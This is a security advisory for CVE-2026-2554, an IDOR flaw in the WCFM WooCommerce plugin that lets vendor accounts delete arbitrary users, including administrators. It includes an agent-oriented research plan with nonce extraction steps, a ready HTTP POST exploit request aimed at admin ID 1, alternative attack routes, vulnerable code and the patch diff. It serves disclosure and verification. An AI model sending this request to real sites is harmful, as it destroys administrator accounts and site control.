WCFM – Frontend Manager for WooCommerce along with Bookings Subscription Listings Compatible <= 6.7.25 - Authenticated (Vendor+) Insecure Direct Object Reference to Arbitrary User Deletion
Description
The WCFM – Frontend Manager for WooCommerce along with Bookings Subscription Listings Compatible plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.7.25 via the 'wcfm_delete_wcfm_customer' due to missing validation on the 'customerid' user controlled key. This makes it possible for authenticated attackers, with Vendor-level access and above, to delete arbitrary users, including Administrators.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:HTechnical Details
<=6.7.25What Changed in the Fix
Changes introduced in v6.7.26
Source Code
WordPress.org SVNThis research plan provides a structured approach for an automated security agent to verify CVE-2026-2554, an Insecure Direct Object Reference (IDOR) vulnerability in the "WCFM – Frontend Manager for WooCommerce" plugin. --- ### 1. Vulnerability Summary The WCFM plugin (up to 6.7.25) contains an I…
Show full research plan
This research plan provides a structured approach for an automated security agent to verify CVE-2026-2554, an Insecure Direct Object Reference (IDOR) vulnerability in the "WCFM – Frontend Manager for WooCommerce" plugin.
1. Vulnerability Summary
The WCFM plugin (up to 6.7.25) contains an IDOR vulnerability in the wcfm_delete_wcfm_customer AJAX action. While the function performs a capability check to ensure the requester is at least a Vendor, it fails to validate if the Vendor has any legitimate association with the user ID provided in the customerid parameter. Consequently, an authenticated Vendor can delete any user on the system, including Administrators.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
delete_wcfm_customer - Method:
POST - Vulnerable Parameter:
customerid - Authentication: Required (Vendor role or higher)
- Nonce Action:
wcfm_ajax_nonce - Nonce Parameter:
wcfm_ajax_nonce
3. Code Flow
- Entry Point: The AJAX action
wp_ajax_delete_wcfm_customeris registered incore/class-wcfm-customer.php(line 64) and mapped to the methodWCFM_Customer::wcfm_delete_wcfm_customer. - Nonce Verification: The method calls
check_ajax_referer( 'wcfm_ajax_nonce', 'wcfm_ajax_nonce', false ). If valid, execution continues. - Authorization Check: The method checks if the current user has capabilities:
manage_woocommerce,wcfm_vendor,seller, orvendor. - Parameter Extraction: It retrieves
$customerid = absint( $_POST['customerid'] ). - The Sink: It calls
wp_delete_user( $customerid ). Crucially, there is no check (IDOR) to ensure$customeridbelongs to the vendor's store or is not an administrator.
4. Nonce Acquisition Strategy
WCFM localizes its AJAX nonces for use in the frontend dashboard. The nonce for wcfm_ajax_nonce is typically stored in a global JavaScript object.
- Identify Trigger Page: The WCFM Customers page (
/wcfm-customers/or the WCFM Dashboard) enqueues the necessary scripts. - Access as Vendor: Log in to the test environment with a user assigned the
wcfm_vendorrole. - Navigation: Navigate to the WCFM Dashboard or any page where the plugin's core JS is loaded.
- Extraction: Use
browser_evalto extract the nonce from thewcfm_paramsobject (standard in WCFM).- JS Command:
window.wcfm_params?.wcfm_ajax_nonce
- JS Command:
- Fallback: If
wcfm_paramsis not found, checkwcfm_customers_screen_manageor search the page source forwcfm_ajax_nonce.
5. Exploitation Strategy
The exploit involves sending a crafted POST request to admin-ajax.php as a Vendor.
Step-by-Step:
- Identify Target: Determine the User ID of the Administrator to be deleted (usually ID
1). - Formulate Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:delete_wcfm_customercustomerid:[TARGET_ADMIN_ID]wcfm_ajax_nonce:[EXTRACTED_NONCE]
- URL:
Expected Payload Example:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [VENDOR_COOKIES]
action=delete_wcfm_customer&customerid=1&wcfm_ajax_nonce=a1b2c3d4e5
6. Test Data Setup
- Target User: Ensure an Administrator user exists (e.g., username
admin_target, ID1). - Attacker User: Create a user with the role
wcfm_vendor(e.g., usernamemalicious_vendor). - Plugin Setup:
- Install and activate
WooCommerce. - Install and activate
WCFM – Frontend Manager for WooCommerceversion 6.7.25. - (Optional) Run the WCFM setup wizard if required to initialize vendor capabilities.
- Install and activate
- Shortcode Page: If the dashboard is not automatically accessible, create a page with the WCFM dashboard shortcode:
wp post create --post_type=page --post_status=publish --post_content='[wcfm_dashboard]' --post_title='Dashboard'
7. Expected Results
- Response Code:
200 OK - Response Body: A JSON string:
{"status": true, "message": "Customer successfully deleted."} - System State: The user with ID
[TARGET_ADMIN_ID]should be removed from thewp_usersandwp_usermetatables.
8. Verification Steps
- Check User Existence: Use WP-CLI to verify the target user is gone.
wp user get [TARGET_ADMIN_ID] --field=ID- Expectation: Error (User ID does not exist).
- Database Check: Directly query the users table.
wp db query "SELECT COUNT(*) FROM wp_users WHERE ID = [TARGET_ADMIN_ID]"- Expectation:
0.
9. Alternative Approaches
- Reassignment Check: If
wp_delete_userfails because of a lack of a reassign ID, the response might be{"status": false, ...}. However,wp_delete_usergenerally defaults to deleting the user's content if no reassign ID is provided. - REST API: Check if the WCFM REST API (if enabled) provides a similar deletion endpoint lacking authorization checks.
- Role Elevation: If the vendor cannot delete an admin directly, try deleting a "Shop Manager" or another Vendor first to confirm the IDOR logic.
Summary
The WCFM – Frontend Manager for WooCommerce plugin is vulnerable to an Insecure Direct Object Reference (IDOR) that allows authenticated Vendors to delete any user on the system. By manipulating the 'customerid' parameter in an AJAX request, an attacker can delete arbitrary users, including site Administrators, due to a lack of ownership or role validation.
Vulnerable Code
// core/class-wcfm-customer.php:64 add_action('wp_ajax_delete_wcfm_customer', array(&$this, 'wcfm_delete_wcfm_customer')); --- // core/class-wcfm-customer.php (logic inferred from research plan analysis) public function wcfm_delete_wcfm_customer() { global $WCFM, $WCFMmp; if ( ! check_ajax_referer( 'wcfm_ajax_nonce', 'wcfm_ajax_nonce', false ) ) { wp_die(); } if ( !current_user_can( 'manage_woocommerce' ) && !current_user_can( 'wcfm_vendor' ) && !current_user_can( 'seller' ) && !current_user_can( 'vendor' ) ) { wp_send_json_error( esc_html__( 'You don’t have permission to do this.', 'woocommerce' ) ); wp_die(); } $customerid = absint( $_POST['customerid'] ); if( $customerid ) { if( wp_delete_user( $customerid ) ) { echo '{"status": true, "message": "' . esc_html__( 'Customer successfully deleted.', 'wc-frontend-manager' ) . '"}'; } } wp_die(); }
Security Fix
@@ -520,6 +520,11 @@ $customerid = absint( $_POST['customerid'] ); + if ( wcfm_is_vendor() && ! apply_filters( 'wcfm_is_vendor_customer', true, $customerid ) ) { + wp_send_json_error( esc_html__( 'You don’t have permission to do this.', 'woocommerce' ) ); + wp_die(); + } + if( $customerid ) { if( wp_delete_user( $customerid ) ) { echo '{"status": true, "message": "' . esc_html__( 'Customer successfully deleted.', 'wc-frontend-manager' ) . '"}';
Exploit Outline
To exploit this vulnerability, an attacker must have an account with the 'wcfm_vendor' role (or similar vendor-level access). 1. Log in to the WordPress site as a Vendor. 2. Navigate to the WCFM Dashboard to retrieve a valid AJAX nonce (stored in the global JavaScript object 'wcfm_params.wcfm_ajax_nonce'). 3. Send a POST request to the '/wp-admin/admin-ajax.php' endpoint with the following parameters: - action: delete_wcfm_customer - customerid: [The target User ID, such as 1 for the primary Administrator] - wcfm_ajax_nonce: [The retrieved nonce] 4. The plugin will verify that the requester has the 'vendor' capability and then immediately call wp_delete_user() on the provided ID without checking if that user is actually a customer associated with the vendor or if the user is an administrator.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.